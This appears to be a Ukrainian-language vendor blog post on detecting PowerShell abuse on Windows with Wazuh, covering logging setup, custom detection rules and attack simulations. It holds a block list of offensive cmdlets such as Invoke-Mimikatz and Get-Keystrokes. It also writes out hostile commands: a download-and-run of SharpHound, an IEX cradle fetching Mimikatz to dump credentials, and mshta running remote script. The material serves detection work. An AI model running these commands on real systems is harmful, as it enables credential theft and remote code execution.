PowerShell – це інструмент, який широко використовується для керування кінцевими точками Windows. Його універсальність робить його ключовим ресурсом для адміністраторів, що дозволяє їм контролювати різні функції системи, автоматизувати робочі процеси та ефективно керувати конфігураціями. Можливості створення сценаріїв PowerShell дозволяють користувачам виконувати завдання, які в іншому випадку потребували б кількох кроків вручну, заощаджуючи час і зменшуючи ймовірність людських помилок.
Однак ті самі функції, які роблять PowerShell цінним, також становлять ризики для безпеки. Зловмисники використовують PowerShell для здійснення шкідливих дій, оскільки він може виконувати команди безпосередньо на кінцевій точці. PowerShell використовували для запуску шкідливого програмного забезпечення, завантаження небезпечних компонентів і викрадення конфіденційних даних, часто без активації традиційних антивірусних засобів. Моніторинг використання PowerShell і забезпечення виконання лише авторизованих дій є важливими для запобігання зловживанням і захисту кінцевих точок від цих загроз.
Фреймворк MITRE ATT&CK описує різні техніки, які зловмисники використовують для зловживання PowerShell. У цьому блозі розповідається, як за допомогою Wazuh можна виявляти техніки зловживання PowerShell на кінцевих точках Windows.
Вимоги
Використано наступну інфраструктуру, щоб продемонструвати виявлення методів зловживання PowerShell на кінцевих точках Windows за допомогою Wazuh:
- Центральні компоненти останньої доступної версії Wazuh (сервер Wazuh, індексатор Wazuh, інформаційна панель Wazuh), встановлені за допомогою “посібника для швидкого старту” на сервері Ubuntu.
- Кінцева точка Windows 11. На цій кінцевій точці встановлено агент Wazuh, який зареєстровано на сервері Wazuh.
Конфігурація
Щоб виявити зловживання PowerShell, потрібно ввімкнути та збирати журнали PowerShell на контрольованій кінцевій точці Windows і створити спеціальні правила. У цьому розділі описано, як налаштувати необхідні компоненти для виявлення зловживань PowerShell.
Кінцева точка Windows
Необхідно виконати наведені нижче дії, щоб налаштувати агент Wazuh для збору журналів із PowerShell.
1. Відкрити PowerShell як адміністратор і виконати наведені нижче команди, щоб увімкнути ведення журналів PowerShell. Це дозволяє детально вести журнали у PowerShell, оскільки Windows не збирає детальну інформацію про виконані команди в PowerShell за замовчуванням через збільшення використання системних ресурсів і вимог до пам’яті:
> function Enable-PSLogging {
# Define registry paths for ScriptBlockLogging and ModuleLogging
$scriptBlockPath = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
$moduleLoggingPath = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging'
# Enable Script Block Logging
if (-not (Test-Path $scriptBlockPath)) {
$null = New-Item $scriptBlockPath -Force
}
Set-ItemProperty -Path $scriptBlockPath -Name EnableScriptBlockLogging -Value 1
# Enable Module Logging
if (-not (Test-Path $moduleLoggingPath)) {
$null = New-Item $moduleLoggingPath -Force
}
Set-ItemProperty -Path $moduleLoggingPath -Name EnableModuleLogging -Value 1
# Specify modules to log - set to all (*) for comprehensive logging
$moduleNames = @('*') # To specify individual modules, replace * with module names in the array
New-ItemProperty -Path $moduleLoggingPath -Name ModuleNames -PropertyType MultiString -Value $moduleNames -Force
Write-Output "Script Block Logging and Module Logging have been enabled."
}
Enable-PSLogging
Очікуваний результат виглядає так:
Script Block Logging and Module Logging have been enabled.
2. Додати таку конфігурацію в блок <ossec_config> файлу C:\Program Files (x86)\ossec-agent\ossec.conf, щоб пересилати журнали PowerShell на сервер Wazuh для аналізу:
<localfile>
<location>Microsoft-Windows-PowerShell/Operational</location>
<log_format>eventchannel</log_format>
</localfile>
3. Перезапустити агент Wazuh, щоб застосувати зміни конфігурації:
> Restart-Service -Name wazuh
Сервер Wazuh
Необхідно виконати наведені нижче кроки на сервері Wazuh, щоб створити власні правила для моніторингу подій PowerShell, які цікавлять.
1. Додати наступні спеціальні правила до файлу правил /var/ossec/etc/rules/local_rules.xml:
<group name="windows,powershell,">
<rule id="100201" level="8">
<if_sid>60009</if_sid>
<field name="win.eventdata.payload" type="pcre2">(?i)CommandInvocation</field>
<field name="win.system.message" type="pcre2">(?i)EncodedCommand|FromBase64String|EncodedArguments|-e\b|-enco\b|-en\b</field>
<description>Encoded command executed via PowerShell.</description>
<mitre>
<id>T1059.001</id>
<id>T1562.001</id>
</mitre>
</rule>
<rule id="100202" level="4">
<if_sid>60009</if_sid>
<field name="win.system.message" type="pcre2">(?i)blocked by your antivirus software</field>
<description>Windows Security blocked malicious command executed via PowerShell.</description>
<mitre>
<id>T1059.001</id>
</mitre>
</rule>
<rule id="100203" level="10">
<if_sid>60009</if_sid>
<field name="win.eventdata.payload" type="pcre2">(?i)CommandInvocation</field>
<field name="win.system.message" type="pcre2">(?i)Add-Persistence|Find-AVSignature|Get-GPPAutologon|Get-GPPPassword|Get-HttpStatus|Get-Keystrokes|Get-SecurityPackages|Get-TimedScreenshot|Get-VaultCredential|Get-VolumeShadowCopy|Install-SSP|Invoke-CredentialInjection|Invoke-DllInjection|Invoke-Mimikatz|Invoke-NinjaCopy|Invoke-Portscan|Invoke-ReflectivePEInjection|Invoke-ReverseDnsLookup|Invoke-Shellcode|Invoke-TokenManipulation|Invoke-WmiCommand|Mount-VolumeShadowCopy|New-ElevatedPersistenceOption|New-UserPersistenceOption|New-VolumeShadowCopy|Out-CompressedDll|Out-EncodedCommand|Out-EncryptedScript|Out-Minidump|PowerUp|PowerView|Remove-Comments|Remove-VolumeShadowCopy|Set-CriticalProcess|Set-MasterBootRecord</field>
<description>Risky CMDLet executed. Possible malicious activity detected.</description>
<mitre>
<id>T1059.001</id>
</mitre>
</rule>
<rule id="100204" level="8">
<if_sid>91802</if_sid>
<field name="win.eventdata.scriptBlockText" type="pcre2">(?i)mshta.*GetObject|mshta.*new ActiveXObject</field>
<description>Mshta used to download a file. Possible malicious activity detected.</description>
<mitre>
<id>T1059.001</id>
</mitre>
</rule>
<rule id="100205" level="5">
<if_sid>60009</if_sid>
<field name="win.eventdata.contextInfo" type="pcre2">(?i)ExecutionPolicy bypass|exec bypass</field>
<description>PowerShell execution policy set to bypass.</description>
<mitre>
<id>T1059.001</id>
</mitre>
</rule>
<rule id="100206" level="5">
<if_sid>60009</if_sid>
<field name="win.eventdata.contextInfo" type="pcre2">(?i)Invoke-WebRequest|IWR.*-url|IWR.*-InFile</field>
<description>Invoke Webrequest executed, possible download cradle detected.</description>
<mitre>
<id>T1059.001</id>
</mitre>
</rule>
</group>
Де:
- Правило з ID 100201 визначає, коли закодована команда виконується через PowerShell.
- Правило з ID 100202 сповіщає, коли система безпеки Windows блокує користувачеві можливість виконувати зловмисні команди.
- Правило з ID 100203 виявляє виконання команд із використанням інструментів, що містять відомі шкідливі cmdlet-команди.
- Правило з ID 100204 визначає, коли Mshta використовується для завантаження та виконання файлу.
- Правило з ID 100205 виявляє виконання скрипту із політикою виконання, встановленою на “bypass”.
- Правило з ID 100206 виявляє можливе завантаження через скрипт, де використовується команда invoke-webrequest для завантаження файлу.
2. Перезапустити менеджер Wazuh, щоб застосувати зміни конфігурації:
# systemctl restart wazuh-manager
Відтворення атаки
Правила виявлення тестуються за допомогою наведених нижче тестів для підтехнік PowerShell у рамках техніки MITRE Command and Scripting Interpreter.
Виконання шкідливих команд
Зловмисники зловживають PowerShell для запуску шкідливих команд на кінцевій точці. Це зловживання може включати маніпулювання системними процесами та викрадення конфіденційної інформації. Зловмисники віддають перевагу PowerShell, оскільки він може виконувати команди безпосередньо в пам’яті, обходячи заходи безпеки на основі файлів і зменшуючи виявлення традиційними антивірусними програмами. Wazuh містить кілька стандартних правил для виявлення виконання зловмисних команд.
У цьому прикладі використано PowerShell для виклику SharpHound. SharpHound – це шкідливий інструмент, який може збирати важливу інформацію про кінцеву точку. Необхідно виконати таку команду, щоб імітувати виклик SharpHound:
> curl "https://raw.githubusercontent.com/BloodHoundAD/BloodHound/refs/heads/master/Collectors/SharpHound.ps1" -o SharpHound.ps1
> powershell -ep bypass .\sharphound.ps1 --collectionmethod all
Під час виконання команд, що викликають SharpHound, на інформаційній панелі з’являються такі сповіщення.

Windows Security також виявляє виконання певних шкідливих команд. За замовчуванням Windows Security блокує виконання цих команд. У цьому прикладі робиться спроба використати шкідливий інструмент Mimikatz для зняття облікових даних на кінцевій точці за допомогою такої команди:
> powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
Спробу блокує Windows Security, і на інформаційній панелі відображається наступне сповіщення.

Завантаження та виконання файлів
Download cradle – це техніка, що використовується для завантаження та виконання зовнішніх скриптів або шкідливих компонентів безпосередньо з Інтернету чи інших зовнішніх джерел. Download cradle є популярним способом зловживання PowerShell. Цей метод забезпечує безперебійне отримання та виконання шкідливого вмісту за один крок, часто в обхід традиційних засобів безпеки на основі файлів.
Необхідно виконати наведену нижче команду, щоб завантажити та виконати тестовий файл зловмисного програмного забезпечення EICAR. Це запустить стандартне правило:
> powershell -Command "IEX(New-Object Net.WebClient).DownloadString('https://secure.eicar.org/eicar.com.txt -OutFile eicar;.\eicar')"
Під час виконання команди на інформаційній панелі з’являється таке сповіщення.

Ще один спосіб викликати download cradle – використати команду Invoke-Webrequest. Зловмисник може завантажити та виконати шкідливий компонент за допомогою цього методу. Щоб змоделювати цю активність, необхідно виконати наступну команду:
> Invoke-WebRequest https://secure.eicar.org/eicar.com.txt -OutFile eicar;.\eicar
Під час виконання команди на інформаційній панелі з’являється таке сповіщення.

Обфускація та уникнення виявлення
Обфусковані команди є поширеною тактикою, яку використовують зловмисники для приховування справжнього призначення своїх скриптів та обходу виявлення засобами безпеки. Кодування команд може дозволити шкідливим скриптам уникнути виявлення під час виконання небезпечних операцій, таких як крадіжка даних або завантаження додаткових шкідливих компонентів.
Щоб виконати закодовану команду за допомогою прапорця EncodedCommand, необхідно зробити наступну дію. Цей приклад команди друкує Hello World на екрані:
> powershell.exe -EncodedCommand "VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAEgAZQBsAGwAbwAgAFcAbwByAGwAZAAiAA=="
Під час виконання команди на інформаційній панелі з’являється таке сповіщення.

Зловмисники також можуть використовувати обхід політики виконання PowerShell для шкідливих цілей і виконання несанкціонованих скриптів. Використовуючи -ExecutionPolicy Bypass (або його варіанти, наприклад, exec bypass), зловмисники можуть обійти обмеження, що запобігають виконанню скриптів, дозволяючи їм розгортати шкідливі компоненти. Цей метод дає змогу запускати непідписані або обмежені скрипти на кінцевій точці без обмежень.
Необхідно виконати наведені нижче команди, щоб імітувати загрозу, використовуючи обхід виконання для запуску сценаріїв:
> echo "whoami" > "C:\Program Files (x86)\ossec-agent\active-response\bin\test.ps1"
> Powershell -ExecutionPolicy bypass -File "C:\Program Files (x86)\ossec-agent\active-response\bin\test.ps1"
На інформаційній панелі відображається таке сповіщення.

Використання легітимних інструментів
Техніки “Living off the land” (LOTL) полягають у використанні вбудованих легітимних інструментів для виконання шкідливих команд, що зменшує необхідність завантаження нового шкідливого програмного забезпечення та знижує ризик виявлення. Зловмисники часто експлуатують підписані Microsoft двійкові файли, такі як mshta.exe, який призначений для виконання Microsoft HTML-додатків. Використовуючи mshta.exe, зловмисник може запускати шкідливі JavaScript або VBScript безпосередньо з URL-адреси або вбудованого скрипту, що дозволяє завантажувати та виконувати шкідливі компоненти. Такий підхід дозволяє зловмисникам “зливатися” зі звичайною активністю кінцевої точки, що ускладнює виявлення цих операцій засобами безпеки.
Необхідно виконати команду нижче, щоб імітувати атаку LOTL. Її намагається виконати файл JavaScript безпосередньо з URL-адреси:
> mshta.exe "javascript:a=GetObject('script:#{url}').Exec();close()"
Під час виконання команди на інформаційній панелі з’являється таке сповіщення.

Висновок
PowerShell – це потужний інструмент на кінцевих точках Windows, який системні адміністратори використовують для керування та автоматизації різноманітних завдань. Зловмисники можуть зловживати PowerShell для запуску шкідливих команд на кінцевій точці та іноді успішно ухилятися від виявлення. У цій публікації продемонстровано, як увімкнути аудит PowerShell і як використовують Wazuh для виявлення деяких методів експлуатації PowerShell.







